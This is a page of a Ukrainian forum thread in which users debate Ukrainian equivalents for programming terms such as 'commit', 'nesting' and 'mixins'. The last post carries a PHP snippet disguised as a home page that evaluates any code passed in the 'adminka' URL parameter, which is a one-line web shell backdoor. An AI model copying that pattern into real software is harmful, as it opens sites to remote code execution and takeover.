121

Re: Як перекласти на українську

quez написав:
P.Y. написав:
quez написав:

Ну тоді «реєстрація», «дублювання», «варіант» і «ідея» теж не українські слова. З вас не виходить путнього пуриста.

У словниках вони є, тому вже українські, тоді як «комітити» й «айтішний» поки що не стали словниковою нормою (хоча й присутні в розмовній мові/комп'ютерному сленгу). А взагалі, «хліб» — теж запозичення, з готської :)

Тоді виникає питання, що є первинним — мова чи словник. Якщо словник створений, виходячи із мови, то він не може бути аргументом за або проти існування слова, тому що, по-перше, він застаріває, а по-друге, він не може включати в себе всі слова.

У даному випадку, твердження «слова нема в мові» саме по собі хибне, бо в українській мові таке слово є — інша річ, не в загальній нормативній лексиці, зафіксованій словником, а лише в межах професійного сленгу. До технічного терміну поки що недотягує. «Поки що» — бо невідомо, як складеться в майбутньому (може ж бути, що слово перекочує зі сленгу в книжки й локалізовані інтерфейси програм — але поки що цього не сталось, тому слід орієнтуватись на більш консервативну норму).

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

122

Re: Як перекласти на українську

Коміт. Не плодьте помилки перекладу. Бо потім люди не будуть розуміти, що саме ви переклали. Коміт це не завжди правка. Може бути початковий коміт. Де не правка, а просто комітиться якийсь початковий код. Якщо таки хочеть сворити свій переклад, то можна побавитись.

Це скоріше якась фіксація коду. Але оскільки саме слово фіксація - це калька з фікс - знерухомити.

То буде знерухомлення коду)

123

Re: Як перекласти на українську

Якщо вже дуже хочете саме українське слово, то це може бути внесок.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

124

Re: Як перекласти на українську

quez написав:

Ну тоді «реєстрація», «дублювання», «варіант» і «ідея» теж не українські слова. З вас не виходить путнього пуриста.

А з вас виходить пристойний софіст.
В української мови є свої правила словотворення та багата термінологічна база, не бачу необхідності вживати англійські, чи російські слова задля позначення нових явищ чи термінів. На рівні тусовки - так, але не на рівні професійного і наукового спілкування.

125 Востаннє редагувалося smisha (12.05.2015 04:14:00)

Re: Як перекласти на українську

Vo_Vik написав:

Коміт це не завжди правка. ....
Це скоріше якась фіксація коду. Але оскільки саме слово фіксація - це калька з фікс - знерухомити.

То буде знерухомлення коду)

Так, коміт -це не завжди правка. Але в даному контексті це слово позначає "підтвердження та фіксацію редагування, в результаті чого створюється нова версія програми". Адже не кожну правку потрібно фіксувати.
"Відредагував - подумав - зробив коміт".

"Знерухомлення коду" -> "знерухомлення" нового відредагованого варіанту. Типу, валідація, надання правці постійного статусу...

quez написав:

Якщо вже дуже хочете саме українське слово, то це може бути внесок.

Внесок - непогано, але не викликає потрібних асоціацій. Внести правку?

126

Re: Як перекласти на українську

smisha написав:
quez написав:

Ну тоді «реєстрація», «дублювання», «варіант» і «ідея» теж не українські слова. З вас не виходить путнього пуриста.

А з вас виходить пристойний софіст.
В української мови є свої правила словотворення та багата термінологічна база, не бачу необхідності вживати англійські, чи російські слова задля позначення нових явищ чи термінів. На рівні тусовки - так, але не на рівні професійного і наукового спілкування.

Не поширюйте ілюзії, українська мова не ісландська і не тибетська з негативним ставленням до запозичень. До правил словотворення входить і таке: взяти іноземне слово без змін. І поки ви не бачите необхідності вживати англійське слово, його вживають все більше і більше.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

127

Re: Як перекласти на українську

В української мови є свої правила словотворення та багата термінологічна база, не бачу необхідності вживати англійські, чи російські слова задля позначення нових явищ чи термінів.

1. Якщо іншомовне слово добре передається українським відповідником, слід використати український відповідник.
2. Якщо десять перекладачів передадуть одне й те ж поняття десятьма різними способами, а читач усе одно не зрозуміє, що малось на увазі, це саме той випадок, коли доцільно запозичити новий термін.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

128

Re: Як перекласти на українську

Якщо дивитись на інші застосування слова commit, то синоніми в українській мові можна шукати десь серед публікація, видання.
Commit changes - внести, зафіксувати правки, опублікувати виправлену версію. Оскільки воно використовується для системи контролю версій. То коміт - це, посуті, публікація для інших своїх змін, правок чи початкового коду. В свою чергу публікація - це винесення на публіку. роблення чогось доступним для інших.

То як на рахунок "видати", "випустити" чи "опублікувати" зміни. А іменник відповідно може бути - видання, випуск чи публікація.

Подякували: smisha1

129 Востаннє редагувалося Q-bart (15.05.2015 18:26:16)

Re: Як перекласти на українську

Як перекладається syntax?
"синтакс" чи "синтаксис"?
У вікіпедії знайшов в книжці по Python "синтакс мови ", проте гугл відмовляється шукати за запитом "синтакс python", та в українській мові є розділ "Синтаксис"
То як правильно?

Навчаюсь вчитись, щоб навчатись.

130

Re: Як перекласти на українську

Синтаксис
Джерело

x
Подякували: Q-bart1

131

Re: Як перекласти на українську

Як перекладається "Nesting"? Google пише, що :"гніздування" або "укладання шлюпок одна в другу". І що це таке?

Навчаюсь вчитись, щоб навчатись.

132

Re: Як перекласти на українську

вкладення, вкладеність. nested loops — вкладені цикли

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊
Подякували: Q-bart, koala2

133

Re: Як перекласти на українську

Вкладений, наприклад, nesting arrays - вкладені масиви.
http://e2u.org.ua/s?w=nesting&dicts … ghlight=on

Декалог програміста-початківця: https://replace.org.ua/post/132988/
Подякували: Q-bart1

134

Re: Як перекласти на українську

А як перекладається "Mixins"?
Гугл переклав як "домішки".

Навчаюсь вчитись, щоб навчатись.

135

Re: Як перекласти на українську

Тут усі сходяться на домішках (в рос. перекладах — примеси).

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊
Подякували: Q-bart1

136

Re: Як перекласти на українську

мікс - це мішати. тобто міксінг - це змішування.

137

Re: Як перекласти на українську

Vo_Vik написав:

мікс - це мішати. тобто міксінг - це змішування.

Так не mixing, а mixin.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

138

Re: Як перекласти на українську

А не побачив, вибачаюсь. mixin  то домішка.

139

Re: Як перекласти на українську

Q-bart написав:

А як перекладається "Mixins"?
Гугл переклав як "домішки".

Прямий переклад схоже на те... І в англомовному контексті воно і має таке значення - додатковий клас, який змішують із основним класом. Термін існує в мовах програмування, які підтримують множинне спадкування. По суті, цей клас являє собою вже імплементований інтерфейс, який надає основному класу певного вузького функціоналу.
Ну нехай буде "домішка"...

Подякували: Q-bart1

140

Re: Як перекласти на українську

Як перекласти "Or are we?"?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!